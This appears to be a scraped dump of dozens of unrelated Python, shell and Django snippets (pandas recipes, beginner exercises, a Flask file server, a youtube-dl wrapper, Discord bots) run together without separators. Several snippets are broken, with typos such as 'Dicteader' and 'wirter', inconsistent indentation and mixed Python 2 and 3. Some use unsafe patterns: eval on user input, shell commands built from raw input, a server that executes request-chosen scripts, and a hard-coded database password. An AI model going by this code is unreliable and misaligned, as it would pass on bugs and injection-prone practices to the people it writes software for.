        # print(validated_data)
        tags = validated_data.pop("tags")
        language = validated_data.pop("language")
        snip = Snip(**validated_data)
        # languageObj, created = Language.objects.get_or_create(**language)
        snip.language = language
        snip.save()
        for tag in tags:
            # tagObj, created = Tag.objects.get_or_create(**tag)
            # print(tagObj)
            snip.tags.add(tag)
        return ShallowSnipSerializer(snip).data
import pandas as pd
from datetime import datetime

ps = pd.Series([datetime(2014, 1, 7), datetime(2014, 3, 13), datetime(2014, 6, 12)])
new = ps.apply(lambda dt: dt.replace(day=1))
import pandas as pd

data = {'name': ['Somu', 'Kiku', 'Amol', 'Lini'],
	'physics': [68, 74, 77, 78],
	'chemistry': [84, 56, 73, 69],
	'algebra': [78, 88, 82, 87]}

	
#create dataframe
df_marks = pd.DataFrame(data)
print('Original DataFrame\n------------------')
print(df_marks)

new_row = {'name':'Geo', 'physics':87, 'chemistry':92, 'algebra':97}
#append row to the dataframe
df_marks = df_marks.append(new_row, ignore_index=True)

print('\n\nNew row added to DataFrame\n--------------------------')
print(df_marks)
class Singleton (type):
    _instances = {}
    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
        return cls._instances[cls]

# Python 2
class MyClass():
    __metaclass__= Singleton

# Python 3
class MyClass(metaclass=Singleton):
     pass
da = da.assign_coords(year_month=da.time.dt.strftime("%Y-%m"))
result = da.groupby("year_month") - da.groupby("year_month").mean("time")
"""index.py
Usage:
  index.py serve <dir>
  index.py serve <dir> [--port=<port>]
  index.py info <dir>
  index.py (-h | --help)
  index.py --version
Options:
  -h --help     Show this screen.
  --version     Show version.
  --port=<port> Port to bind to [default: 8080].
"""
# -*- coding: utf-8 -*-

import os
import multiprocessing
import sys


import crayons
import delegator
from docopt import docopt
from flask import Flask, request, abort
from livereload import Server as ReloadServer
from whitenoise import WhiteNoise


def yield_files(dir, endswith):
    for root, dirs, files in os.walk(dir):

        # Cleanup root.
        root = root[len(dir) + 1:]

        # Exclude directories that start with a period.
        if not root.startswith('.'):
            for file in files:
                if file.endswith(endswith):
                    yield os.sep.join((root, file))


def do_info():
    """Runs the 'info' command, from the CLI."""
    pass


def convert_dir(dir):
    dir = os.path.abspath(dir)
    try:
        assert os.path.isdir(dir)
    except AssertionError:
        print(crayons.red('The directory given must be a valid one!'))
        sys.exit(1)

    return dir

def convert_port(port):
    if port is None:
        port = '8080'
    else:
        try:
            port = int(port)
        except ValueError:
            print(crayons.red('The port given must be a valid number!'))
            sys.exit(1)

    return port

def prepare_extras(request):
    extras = {}

    # 
    if request.json:
        extras.update(request.json)
    if request.form:    
        extras.update(request.form)
    
    if request.args:
        extras.update(request.args)

    extra = []

    for key, values in extras.items():
        for value in values:
            extra.append((key, value))
    
    return extra

def find(endswith, dir, path):
    found = None
    for fs_path in yield_files(dir, endswith):
        print '{0}{1}'.format(path, endswith) 
        print fs_path
        print
        if '{0}{1}'.format(path, endswith) in fs_path:
            return fs_path

def directory_listing(path):
    html = ''
    for i in os.listdir(path):
        html += '<li><a href="{0}">{0}</a></li>'.format(i)
    return html

def do_serve(dir, port):
    """Runs the 'serve' command, from the CLI."""

    # Convert dir and port to appropriate values.
    dir = convert_dir(dir)
    port = convert_port(port)

    os.chdir(dir)

    app = Flask(__name__)

    @app.route('/', defaults={'path': './'})
    @app.route('/<path:path>')
    def catch_all(path):

        # Support for index.html.
        found = find('index.html', dir, path)
        
        # Support for index.py
        if not found:
            found = find('index.py', dir, path)

        # Support for directory listing.
        if not found:
            found = find('.py', dir, path)
        

        # A wild script was found!
        if found:
            if '.py' in found:
                extras = prepare_extras(request)
            
                for key, value in extras:
                    os.environ[key] = value
                
                c = delegator.run('python {0}'.format(found))

                for key, value in extras:
                    del os.environ[key]

                return c.out

            elif '.html' in found:
                # Strip prepending slashes. 
                if found.startswith('/'):
                    found = found[1:]
                
                # Open the file, and spit out the contents. 
                with open(found) as html:
                    return html.read()

        else:
            if os.path.isdir(path):
                return directory_listing(path)

            abort(404)


    @app.before_request
    def before_request():
        app.add_files(dir, prefix='/')

    @app.after_request
    def after_request(response):
        response.headers['X-Powered-By'] = 'index.py by Kenneth Reitz'
        return response

    app = WhiteNoise(app, root=dir)
    server = ReloadServer(app)
    server.watch('{0}/**'.format(dir))

    # Alert the user.
    print(crayons.yellow('Serving up \'{0}\' on port {1}.'.format(dir, port)))
    server.serve(port=port)


def main():
    args = docopt(__doc__, version='index.py, version 0.0.0')

    if args['info']:
      do_info()

    if args['serve']:
      do_serve(dir=args['<dir>'], port=args['--port'])


if __name__ == '__main__':
    main()
with open(filename) as f:
    mylist = f.read().splitlines() 
{<key_value>: <value> for <var> in <sequence> if <condition>}
i = 1
s = 0
while i < 101:
  s= s + i  
  i =i+1
print(s)
fruit = {
  "elderberries": 1,
  "figs": 1,
  "apples": 2,
  "durians": 3,
  "bananas": 5,
  "cherries": 8,
  "grapes": 13
}

table_data = []
for k, v in fruit.items():
   table_data.append([k, v])
from random import randint
x = randint(1,10)
for Name in range (x):
    print('My Name is Hasan')
for x in range (1):
    from random import randint
    x = randint(1,51)
    print('One random number between 1 and 50: ', x)
for y in range (1):
    from random import randint
    y = randint(2,6)
    print('One random number between 2 and 5: ', y)
print("X power y is: ", x**y)
num1 = eval(input('Enter the first number: '))
num2 = eval(input('Enter the second number: '))
print('The average of the numbers you entered is', (num1+num2)/2)
students_period_A = ["Alex", "Briana", "Cheri", "Daniele"]
students_period_B = ["Dora", "Minerva", "Alexa", "Obie"]


# method 1, problematic
for students in students_period_A:
  students_period_B.append(students)
  print(students_period_B)

# method 2, more elegant
all_students = students_period_A + students_period_B
for student in all_students:
  print(student)

print(all_students)


# output 

['Dora', 'Minerva', 'Alexa', 'Obie', 'Alex']
['Dora', 'Minerva', 'Alexa', 'Obie', 'Alex', 'Briana']
['Dora', 'Minerva', 'Alexa', 'Obie', 'Alex', 'Briana', 'Cheri']
['Dora', 'Minerva', 'Alexa', 'Obie', 'Alex', 'Briana', 'Cheri', 'Daniele']
Alex
Briana
Cheri
Daniele
Dora
Minerva
Alexa
Obie
Alex
Briana
Cheri
Daniele
['Alex', 'Briana', 'Cheri', 'Daniele', 'Dora', 'Minerva', 'Alexa', 'Obie', 'Alex', 'Briana', 'Cheri', 'Daniele']
python_topics = ["variables", "control flow", "loops", "modules", "classes"]

#Your code below: 
length = len(python_topics)
index = 0
 
while index < length:
  print("I am learning about "+ python_topics[index])
  index += 1

# output 

I am learning about variables
I am learning about control flow
I am learning about loops
I am learning about modules
I am learning about classes
python_topics = ["variables", "control flow", "loops", "modules", "classes"]

#Your code below: 
length = len(python_topics)
index = 0
 
while index < length:
  print(python_topics[index])
  index += 1

# output 

variables
control flow
loops
modules
classes
with open('dict.csv', 'w') as csv_file:  
    writer = csv.writer(csv_file)
    for key, value in mydict.items():
       writer.writerow([key, value])
import tejapi
tejapi.ApiConfig.api_key = "your key"
TSMC = tejapi.get(
    'TWN/EWPRCD', 
    coid = '2330',
    mdate={'gte':'2020-06-01', 'lte':'2021-04-12'}, 
    opts={'columns': ['mdate','open_d','high_d','low_d','close_d', 'volume']}, 
    paginate=True
    )
UMC = tejapi.get(
    'TWN/EWPRCD', 
    coid = '2303',
    mdate={'gte':'2020-06-01', 'lte':'2021-04-12'},
    opts={'columns': ['mdate','open_d','high_d','low_d','close_d', 'volume']}, 
    paginate=True
    )
UMC = UMC.set_index('mdate')
TSMC = TSMC.set_index('mdate')
import ctypes
ctypes.windll.kernel32.SetThreadExecutionState(0x80000002)
ctypes.windll.kernel32.SetThreadExecutionState(0x80000000)
L = [8, 10, 6, 1]

for i in L:
    print(i)
promise = "I will finish the python loops module!"

for promises in range(5):
  print(promise)

# Output 

I will finish the python loops module!
I will finish the python loops module!
I will finish the python loops module!
I will finish the python loops module!
I will finish the python loops module!
def csReverseIntegerBits(n):
   result = 0
   while n:
       result = (result << 1) + (n & 1)
       n >>= 1
   return result
class Node:
  def __init__(self, value):
    self.key = value     # the key of the node
    self.parent = None   # the pointer to the parent node
    self.left = None     # the pointer to the left child node
    self.right = None    # the pointer to the right child node
mask = pd.to_numeric(df['Name'], errors='coerce').notnull()
df[mask] = df[mask].shift(axis=1)
print (df)
  Name  Val Rating
0  ABC  123    B +
1  DEF  234    B +
2  NaN  567     B-
3  GHI  890      D
percent_missing = df.isnull().sum() * 100 / len(df)
missing_value_df = pd.DataFrame({'column_name': df.columns,
                                 'percent_missing': percent_missing})
# Get unique elements in multiple columns i.e. Name & Age
uniqueValues = (empDfObj['Name'].append(empDfObj['Age'])).unique()

print('Unique elements in column "Name" & "Age" :')
print(uniqueValues)
import pandas as pd

# create a dataframe with one column
df = pd.DataFrame({"col1": ["a", "b", "a", "c", "a", "a", "a", "c"]})

# setting normalize=True
item_counts = df["col1"].value_counts(normalize=True)
print(item_counts)
PYTHONPATH=. poetry run pytest tests -W ignore::DeprecationWarning -W ignore::FutureWarning
>>> df2_transposed = df2.T # or df2.transpose()
>>> df2_transposed
              0     1
name      Alice   Bob
score       9.5   8.0
employed  False  True
kids          0     0
# check logs in the worker
docker logs worker --follow

# what to do when postgres No space left on device
 #Lister tous les containers 
 docker ps -a
 #Tous les down 
 docker stop id1 id2 id3 ...
 #Pruner les container 
 docker container prune
 #Pruner les image 
 docker image prune -a (modifié) 
 #Pruner les volume 
 docker volume prune
 #Supprimer les volumes non détectés automatiquement
 docker volume ls
 docker volume rm id1 id2 id3 ...
phonebook = {}
phonebook["John"] = 938477566
phonebook["Jack"] = 938377264
phonebook["Jill"] = 947662781
print(phonebook)
pd.set_option('display.max_rows', None)
pd.set_option('display.max_columns', None)
import torch
cross_entropy_loss = torch.nn.CrossEntropyLoss()

# Input: f_q (BxCxS) and sampled features from H(G_enc(x))
# Input: f_k (BxCxS) are sampled features from H(G_enc(G(x))
# Input: tau is the temperature used in PatchNCE loss.
# Output: PatchNCE loss
def PatchNCELoss(f_q, f_k, tau=0.07):
    # batch size, channel size, and number of sample locations
    B, C, S = f_q.shape

    # calculate v * v+: BxSx1
    l_pos = (f_k * f_q).sum(dim=1)[:, :, None]

    # calculate v * v-: BxSxS
    l_neg = torch.bmm(f_q.transpose(1, 2), f_k)

    # The diagonal entries are not negatives. Remove them.
    identity_matrix = torch.eye(S)[None, :, :]
    l_neg.masked_fill_(identity_matrix, -float('inf'))

    # calculate logits: (B)x(S)x(S+1)
    logits = torch.cat((l_pos, l_neg), dim=2) / tau

    # return PatchNCE loss
    predictions = logits.flatten(0, 1)
    targets = torch.zeros(B * S, dtype=torch.long)
    return cross_entropy_loss(predictions, targets)
import requests
html = requests.get('https://google.com')

from bs4 import BeautifulSoup
soup = BeautifulSoup(product_page.content, 'html.parser')

class_book = soup.find('div', {'class': 'book'})
import tempfile

from django.core.files import File
from django.db import models


class Word(models.Model):
    word = models.CharField(max_length=200)
    audio = models.FileField(upload_to='audio/', blank=True)

    def save(self, *args, **kwargs):
        audio = gTTS(text=self.word_vocab, lang='en', slow=True)

        with tempfile.TemporaryFile(mode='w') as f:
            audio.write_to_fp(f)
            file_name = '{}.mp3'.format(self.word_vocab)
            self.audio.save(file_name, File(file=f))

        super(Word, self).save(*args, **kwargs)

#The function audio.save(self.word_vocab + ".mp3") won't work in your use case, you must use #write_to_fp or open the file created by this method, as pointed in doccumentation. I hope it helps
python -m main.path.to.file # in terminal
greeting = input("Hello, welcome to hell.\n ")
confirmation = input("Would you like to proceed?\n ")
nothing = [1, 2]
user_info = [greeting, confirmation]
one_question_prompt = [
"Are you sure this is the information?\n(a)Yes\n(b)No\n"
]
class Question0:
    def __init__(self, prompt1, answer1):
        self.prompt = prompt1
        self.answer = answer1
questions1 = [Question0(one_question_prompt[0], "a")]
def run_test0(questions1):
    score = 0
for question in questions1:
    answer = input(question.prompt)
if answer == question.answer:
    score = True

run_test0(questions1)
name1 = input("Enter your name: ")
user_info_name = [name1]
print("\n\nHello " + name1 + "! This is just a short automated text machine which will ask you random questions. To answer the multiple choice, please make sure to either type lowercase letters. \n\n")

print("Questionnaire: \n")
prompt0 = input("Where in hell do you wanna go \n(a)Downtown\n(b)Village\n(c)Outskirts\n(d)Boondocks\n(e)Shiv Corp\n(f)Nowhere\n\n")
prompt1 = input("\nDo you hate homework?\n(a)Yes\n(b)No\n\n")
prompt2 = input("\nDo you like this code?\n(a)Yes\n(b)No\n\n")
class Question:
    def __init__(self, prompt, answer):
        self.prompt = prompt
        self.answer = answer

print("\n*Note that this test is just a test m8. But, you can go to hell now ;).")
django-admin startproject mysite
 
python manage.py startapp myapp
import pandas as pd
import matplotlib.pyplot as plt

from pandas_profiling import ProfileReport
profile = ProfileReport(gabijos, title='Gabijos g.', html={'style':{'full_width':True}})
profile.to_file("gabijos.html")

mkdir /home/pi/.config/autostart
sudo nano /home/pi/.config/autostart/meteo.desktop


[Desktop Entry]
Type=Application
Name=Meteo
Exec=/usr/bin/python3 /home/pi/mqtt_display_temp_time_01_480.py

(firstEnv)
>>conda install -c anaconda ipykernel
>>python -m ipykernel install --user --name=firstEnv
# Iterate through each line of our list
for each_line in a_list_of_lines:
    script_line_number = script_line_number + 1
    # If an asterisk is found in the line (meaning that a character's lines are starting)
    if each_line.find("*") != -1:
        # Add the character's name to the 'character_appearance_lines' list
        character_appearance_lines.append(each_line)
        # Add the script line number to the appearance list
        character_appearance_lines.append(script_line_number)
import sweetviz as sv

my_report = sv.analyze(my_dataframe)
my_report.show_html() # Default arguments will generate to "SWEETVIZ_REPORT.html"
df_train.loc[df_train.Age.isnull(), 'Age'] = df_train.groupby(['Sex','Pclass','Title']).Age.transform('median')
'''Download videos from youtube.'''
# Author: Stephen J Smith.
# pyknight.com
# 2021.
# To install youtube-dl visit https://youtube-dl.org/
# To upgrade. pip3 install --upgrade youtube-dl

# HOW TO USE THIS SCRIPT.
# 1st: Edit 'path' to a directory on your system.
# 2nd: Cd into the directory where you saved this script.
# 3rd: Run the following command  python3 snatcher.py


import os

# location to store download.
path = '/ENTER/YOUR/DIRECTORY/HERE'

# cd into the above directory.
os.chdir(path)

# confirm your in the correct directory.
print(os.getcwd()) 

# copy and paste the share link from youtube. 
playList = input('Enter playlist: ')

# retrieve a list of available downloads.
os.system('youtube-dl -F ' + (playList))

# select the video quality.
number = input('Enter number: ')

# download.
os.system('youtube-dl -f ' + (number) + ' ' + (playList))

import matplotlib.pyplot as plt
import numpy as np
from numpy import save

fig = plt.figure()
ax = fig.add_subplot(111)
ax.set_xlim([0, 10])
ax.set_ylim([0, 10])

points_storage=[]

def onclick(event):
    
    
    print('button=%d, x=%d, y=%d, xdata=%f, ydata=%f' %
          (event.button, event.x, event.y, event.xdata, event.ydata))
    plt.plot(event.xdata, event.ydata, 'o',markersize=5)

    fig.canvas.draw()
    points_storage.append([event.xdata, event.ydata])

cid = fig.canvas.mpl_connect('button_press_event', onclick)
plt.show()

acumulado =np.asarray(points_storage)

np.save('puntos.npy', acumulado)

print(acumulado)
from matplotlib import pyplot as plt

class LineBuilder:
    def __init__(self, line):
        self.line = line
        self.xs = list(line.get_xdata())
        self.ys = list(line.get_ydata())
        self.cid = line.figure.canvas.mpl_connect('button_press_event', self)

    def __call__(self, event):
        print('click', event)
        if event.inaxes!=self.line.axes: return
        self.xs.append(event.xdata)
        self.ys.append(event.ydata)
        self.line.set_data(self.xs, self.ys)
        self.line.figure.canvas.draw()

fig, ax = plt.subplots()
ax.set_title('click to build line segments')
line, = ax.plot([0], [0])  # empty line
linebuilder = LineBuilder(line)

plt.show()
django-admin startproject mysite

python manage.py startapp myapp
from os import walk

_, _, filenames = next(walk(mypath))
#!/usr/bin/env python
import subprocess
from multiprocessing import Pool
import os

src = "/home/student-03-474f458f89e0/data/prod"
dest = "/home/student-03-474f458f89e0/data/prod_backup"

def run_sync(file):
    print(os.path.join(dest,file))
    subprocess.call(["rsync", "-arq", os.path.join(src,file), os.path.join(dest,file)])

if __name__ == "__main__":
    files = os.listdir(src)
    p = Pool(len(files))
    p.map(run_sync, files)
#!/usr/bin/env python3

from multiprocessing import Pool

def run(task):
  # Do something with task here
    print("Handling {}".format(task))

if __name__ == "__main__":
  tasks = ['task1', 'task2', 'task3']
  # Create a pool of specific number of CPUs
  p = Pool(len(tasks))
  # Start each task within the pool
  p.map(run, tasks)
if reg_form.is_valid():
            nuevo_usuario = reg_form.save(commit=False)
            pw_hash = bcrypt.hashpw(clave.encode(), bcrypt.gensalt()).decode() 
            nuevo_usuario.password = pw_hash
            nuevo_usuario.save()
from discord.ext import commands
from os import getenv
from dotenv import load_dotenv

client = commands.Bot(command_prefix="!")
load_dotenv()

client.run(str(getenv('BOT_TOKEN')))
# this line will write the code below into a Python script called script.py
%%writefile script.py
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'dojoreads_db',
        'USER': 'postgres',
        'PASSWORD': 'root',
        'HOST': '127.0.0.1',
        'PORT': '5432',
    }
}
from requests import PreparedRequest

# ...

@client.event
async def on_member_join(member):
    if config['join_leave_message'] is True:
        channel = client.get_channel(config['join_leave_channel'])
        embed = discord.Embed(colour=discord.Colour.green())
        req = PreparedRequest()
        req.prepare_url(
            url='https://api.xzusfin.repl.co/card?',
            params={
                'avatar': str(member.avatar_url_as(format='png')),
                'middle': 'welcome',
                'name': str(member.name),
                'bottom': str('on ' + member.guild.name),
                'text': '#CCCCCC',
                'avatarborder': '#CCCCCC',
                'avatarbackground': '#CCCCCC',
                'background': '#000000' #or image url
            }
        )
        embed.set_image(url=req.url)
        await channel.send(embed=embed)
size = 30
value = 44
max_value = 100
border_l = '|'
border_r = '|'
fill = '#'
empty = '_'

bar = border_l
p = round(size*(value/max_value))
for i in range(1, p + 1):
    bar = bar + fill
ep = size - p
for i in range(1, ep + 1):
    bar = bar + empty
bar = bar + border_r

print(bar)
# -------------------------------------------------------------------------------------------
# email retrieving script
# -------------------------------------------------------------------------------------------
#!/usr/bin/env python3

import csv
import sys


def populate_dictionary(filename):
  """Populate a dictionary with name/email pairs for easy lookup."""
  email_dict = {}
  with open(filename) as csvfile:
    lines = csv.reader(csvfile, delimiter = ',')
    for row in lines:
      name = str(row[0].lower())
      email_dict[name] = row[1]
  return email_dict

def find_email(argv):
  """ Return an email address based on the username given."""
  # Create the username based on the command line input.
  try:
    fullname = str(argv[1] + " " + argv[2])
    # Preprocess the data
    email_dict = populate_dictionary('/home/{{ username }}/data/user_emails.csv')
     # If email exists, print it
    if email_dict.get(fullname.lower()):
      return email_dict.get(fullname.lower())
    else:
      return "No email address found"
  except IndexError:
    return "Missing parameters"

def main():
  print(find_email(sys.argv))

if __name__ == "__main__":
  main()


# -------------------------------------------------------------------------------------------
# Unit test script
# -------------------------------------------------------------------------------------------

#!/usr/bin/env python3

import unittest
from emails import find_email


class EmailsTest(unittest.TestCase):
  def test_basic(self):
    testcase = [None, "Bree", "Campbell"]
    expected = "breee@abc.edu"
    self.assertEqual(find_email(testcase), expected)

  def test_one_name(self):
    testcase = [None, "John"]
    expected = "Missing parameters"
    self.assertEqual(find_email(testcase), expected)

  def test_two_name(self):
    testcase = [None, "Roy","Cooper"]
    expected = "No email address found"
    self.assertEqual(find_email(testcase), expected)

if __name__ == '__main__':
  unittest.main()

my_new_list = [6, 3, 8, "12", 42]

def OrganizeList(myList):
    for item in myList:
        assert type(item) == str, "Word list must be a list of strings"
    myList.sort()
    return myList

print(OrganizeList(my_new_list))
my_list = [27, 5, 9, 6, 8]

def RemoveValue(myVal):
    if myVal not in my_list:
        raise ValueError("Value must be in the given list")
    else:
        my_list.remove(myVal)
    return my_list

print(RemoveValue(27))
print(RemoveValue(27))
def character_frequency(filename):
  try:
      f = open(filename)
  except OSError:
      return None

	characters = {}
	for line in f:
    	for char in line:
        	characters[char] = characters.get(char, 0) + 1 # get the entry for char or create a new entry with value 0 if there is no entry for char yet
	f.close()
	return characters()
        
import re

def rearrange_name(name):
	result = re.search(r"^([\w .]*), ([\w .]*)$", name)
	return "{} {}".format(result[2], result[1])
                       
#!/usr/bin/env python3
import sys
import os
import re

def error_search(log_file):
  error = input("What is the error")
  returned_errors = []

  with open(log_file, mode="r",encoding="UTF-8") as file:
    for log in file.readlines():
      error_patterns = ["error"]
      for i in range(len(error.split(" "))):
        error_patterns.append(r"{}".format(error.split(" ")[i].lower()))
      if all(re.search(error_pattern, log.lower()) for error_pattern in error_patterns):
        returned_errors.append(log)
    file.close()
  return returned_errors

def file_output(returned_errors):
  with open(os.path.expanduser("~") + "/data/errors_found.log", "w") as file:
    for error in returned_errors:
      file.write(error)
    file.close()

if __name__ == "__main__":
  log_file = sys.argv[1] # take the first parameter passed as the path of the log file
  returned_errors = error_search(log_file)
  file_output(returned_errors)
  sys.exit(0) # exits python and gives exit status of 0 here
scaled_features = data.copy()

col_names = ['Age', 'Weight']
features = scaled_features[col_names]
scaler = StandardScaler().fit(features.values)
features = scaler.transform(features.values)

scaled_features[col_names] = features
print(scaled_features)
mkdir -p ~/.config
docker run -it --name code-server -p 127.0.0.1:5050:8080 \
  -v "$HOME/.config:/home/coder/.config" \
  -v "$PWD:/home/coder/project" \
  -u "$(id -u):$(id -g)" \
  -e "DOCKER_USER=$USER" \
  codercom/code-server:latest
df_query = df_query.assign(comments='NoComment')
params = {
    'empty_line': ('', {}),
    'get_ok': ('GET 200', {'request': 'GET', 'status': '200'}),
    'get_not_found': ('GET 404', {'request': 'GET', 'status': '404'}),
}

@pytest.mark.parametrize('line,expected', list(params.values()), ids=list(params.keys()))
def test_decode(self, line, expected):
    assert decode(line) == expected
#/////////////////////////////////////////////////////////////////////////////////////////////////////////
"""This is a custom python component, and this is the description. Code something!
    Inputs:
        x: This is the description of the x input.
        y: This is the description of the y input.
    Outputs:
        a: This is the description of the a output.
"""
#---------------------------------------------------------------------------------------------------------
#_________________________________________________________________________________________________________
__author__ = "Mode Lab / Jonathan Cortes-Rodriguez"
__version__ = "0.0.2020.00.00"
__date__ = "2020.MM.DD"
#---------------------------------------------------------------------------------------------------------
#_________________________________________________________________________________________________________
"""
ghenv.Component.Name = "Component Name"
ghenv.Component.NickName = "Component Nickname"
ghenv.Component.Description = "What does this component do?"
ghenv.Component.Message = "A Tag that sits below the component"
ghenv.Component.Category = "What's my main?"
ghenv.Component.SubCategory= "What's my sub?"
"""
#---------------------------------------------------------------------------------------------------------
#_________________________________________________________________________________________________________
import re

print(re.search(r"[Pp]ython", "Python"))
print(re.search(r"[a-z]way", "The end of the highway"))
print(re.search(r"cloud[a-zA-Z0-9]", "cloudy"))

# put ^ before a character class to search for anything but the given character class
print(re.search(r"[^a-zA-Z]", "This is a sentence with spaces."))

# | as OR operator
print(re.search(r"cat|dog", "I like dogs."))
print(re.findall(r"cat|dog", "I like both cats and dogs."))
# read
with open('software.csv') as software:
	reader = csv.Dicteader(software)
	for row in reader:
    	print(("{} has {} users").format(row["name"], row["users"]))

# write
users = [ {"name": "Sol Mansi", "username": "solm", "department": "ITT infrastructure"}]
keys = ["name","username","department"]
with open("by_department.csv", "w") as by_department:
	writer = csv.DictWriter(by_department, fieldnames=keys) # requires dictionaries keys as parameter
	writer.writeheader() # create first line based on keys passed
	wirter.writerows(users)
import os

def parent_directory():

  # Create a relative path to the parent 
  # of the current working directory 

  relative_parent = os.path.join(os.getcwd(),'..')

  # Return the absolute path of the parent directory

  return os.path.abspath(relative_parent)

print(parent_directory())
def send_http_request(body):
	print('hello')
import pandas as pd

link = "https://id.wikipedia.org/wiki/Demografi_Indonesia"
df = pd.read_html(link, header=0)[2]

df = df.rename(columns={'Populasi[4]':'Populasi', 'Luas (km²)[5]':'Luas'})
df = df[['Kode BPS', 'Nama', 'Ibu kota', 'Populasi', 'Luas', 'Pulau']]

df.to_csv("Indonesia.csv", sep=',')
import pandas as pd

def wiki_to_csv(wikiurl = str):
    tname  = link.split("/")[-1]
    tables = pd.read_html(link, header=0)

    for i in range(len(tables)):
        if not tables[i].empty:
            fname = tname + " table " + str(i)
            tables[i].to_csv(fname, sep=',')
import shutil
import psutil

du = shutil.disk_usage("/")
du.free/du.total*100

psutil.cpu_percent(.1)
import random
name="Diego"
question="Do I like this cookie?"

answer=""
random_number=random.randint(1, 9) 
print(random_number)

if random_number==1:
  answer= "Yes - definetely."
elif random_number==2:
  answer= "It is decidedly so."
elif random_number==3:
  answer= "Without a doubt."
elif random_number==4:
  answer= "Reply hazy, try again."
elif random_number==5:
  answer= "Ask again later."
elif random_number==6:
  answer= "Better not tell you now."
elif random_number==7:
  answer= "My sources say no."
elif random_number==8:
  answer= "Outlook not so good."
elif random_number==9:
  answer= "Very doubtful."
else:
  answer = "Error"

print(name +"asks:" +question)
print("Magic 8-Ball's answer:"+ answer)
print("I have information for the following planets:\n")

print("   1. Venus   2. Mars    3. Jupiter")
print("   4. Saturn  5. Uranus  6. Neptune\n")
 
weight = 185
planet = 3

# Write an if statement below:
if planet ==1:
  weight = weight * 0.91
  print("Venus")
elif planet ==2:
  weight = weight * 0.38
  print("Mars")
elif planet ==3:
  weight = weight * 2.34
  print("Jupiter")
elif planet ==4:
  weight = weight * 1.06
  print("Saturn")
elif planet ==5:
  weight = weight * 0.92
  print("Uranus")
else:
  weight = weight * 1.19
  print("Neptune")
print("Your weight:", weight)
grade = 86
print("letter grade")
 
if grade >= 90:
  print("A")
elif grade >= 80:
  print("B")
elif grade >= 70:
  print("C")
elif grade >= 60:
  print("D")
else:
  print("F")
credits = 120
gpa = 1.9

if (credits >= 120) and (gpa >= 2.0):
  print("You meet the requirements to graduate!")
else:
  print("You have met at least one of the requirements.")
credits = 120
gpa = 1.8

if not credits >= 120:
  print("You do not have enough credits to graduate.")
if not gpa >= 2.0:
  print("Your GPA is not high enough to graduate.")

if not (credits >= 120) and not ( gpa >= 2.0):
  print("You do not meet either requirement to graduate!")
import pandas as pd

sheets_dict = pd.read_excel('Book1.xlsx', sheetname=None)

full_table = pd.DataFrame()
for name, sheet in sheets_dict.items():
    sheet['sheet'] = name
    sheet = sheet.rename(columns=lambda x: x.split('\n')[-1])
    full_table = full_table.append(sheet)

full_table.reset_index(inplace=True, drop=True)

print full_table
qq= dff[~df.astype(str).apply(tuple, 1).isin(dff.astype(str).apply(tuple, 1))]
def f(in_str):
    out_str = in_str.upper()
    return True, out_str # Creates tuple automatically

succeeded, b = f("a") # Automatic tuple unpacking
#nor_xr is  dataarray (var) name
datetimeindex = nor_xr.indexes['time'].to_datetimeindex()

nor_xr['time'] = datetimeindex
# rios is dataarray (var) name
rio.rename({'x': 'longitude','y': 'latitude'})
#Write an expression for a string literal consisting of the following ASCII characters:

#Horizontal Tab character
#Newline (ASCII Linefeed) character
#The character with hexadecimal value 7E

"\t\n\x7E"

#https://www.loginradius.com/blog/async/eol-end-of-line-or-newline-characters/#:~:text=LF%20(character%20%3A%20%5Cn%2C,'%20or%20'Newline%20Character'.
#https://stackoverflow.com/questions/4488570/how-do-i-write-a-tab-in-python
# Which of the following are valid ways to specify the string literal foo'bar in Python:
"foo'bar"



# How would you express the constant floating-point value 3.2 × 10-12 in Python:
3.2e-12

#Examples

0.       // = 0.0
-1.23    // = -1.23
23.45e6  // = 23.45 * 10^6
2e-5     // = 2.0 * 10^-5
3E+10    // = 3.0 * 10^10
.09E34   // = 0.09 * 10^34
2.E100L  // = 2.0 * 10^100

#How would you express the hexadecimal value a5 as a base-16 integer constant in Python?
0xa5
#Explanation base-16 is x
# integer is 0 and a5 is our value 
#Notice that binary and hexadecimal use prefixes to identify the number system. All integer #prefixes are in the form 0?, in which you replace ? with a character that refers to the number #system:

# b: binary (base 2)
# o: octal (base 8)
# d: decimal (base 10)
# x: hexadecimal (base 16)
import pandas as pd
s = pd.Series(list('abca'))
pd.get_dummies(s)
Out[]: 
     a    b    c
0  1.0  0.0  0.0
1  0.0  1.0  0.0
2  0.0  0.0  1.0
3  1.0  0.0  0.0
credits = 118
gpa = 2.0

if credits>=120 or gpa>=2.0:
  print("You have met at least one of the requirements.")
export PATH="$HOME/.pyenv/bin:$PATH"
export PATH="/usr/local/bin:$PATH"

eval "$(pyenv init -)"
eval "$(pyenv virtualenv-init -)"
export LDFLAGS="-L/usr/local/opt/zlib/lib -L/usr/local/opt/bzip2/lib"
export CPPFLAGS="-I/usr/local/opt/zlib/include -I/usr/local/opt/bzip2/include"
x = 20
y = 20

# Write the first if statement here:
if x==y:
   print("These numbers are the same")
print(type(your_data_variable))
https://www.codecademy.com/courses/learn-python-3/articles/python3-user-input
#1
lovely_loveseat_description="""Lovely Loveseat. Tufted polyester blend on wood. 32 inches high x 40 inches wide x 30 inches deep. Red or white."""
lovely_loveseat_price=254.00
#2
stylish_settee_description="""Stylish Settee. Faux leather on birch. 29.50 inches high x 54.75 inches wide x 28 inches deep. Black."""
stylish_settee_price=180.50
#3
luxurious_lamp_description="""Luxurious Lamp. Glass and iron. 36 inches tall. Brown with cream shade."""
luxurious_lamp_price=52.15
#4
sales_tax=0.088
customer_one_total=0
customer_one_itemization = ""
#5
customer_one_itemization+=customer_one_itemization+lovely_loveseat_description

customer_one_tax=customer_one_total*sales_tax
customer_one_total=customer_one_total+lovely_loveseat_price+luxurious_lamp_price+customer_one_tax


print("Customer One Items:")
print(customer_one_itemization)
print("Customer One Total:")
print(customer_one_total)

#output Customer One Items:
#Lovely Loveseat. Tufted polyester blend on wood. 32 inches high x 40 inches wide x 30 inches deep. #Red or white.
#Customer One Total:
#306.15
print("FFFFF  M     M")
print("F      MM   MM")
print("FFF    M  M  M")
print("F      M     M")
print("F      M     M")
print("F      M     M")

#https://content.codecademy.com/courses/learn-cpp/hello-world/block-letters-hint.png
total_cost = 5
total_cost += 10
print(total_cost)

#output 15
# Assign the string here
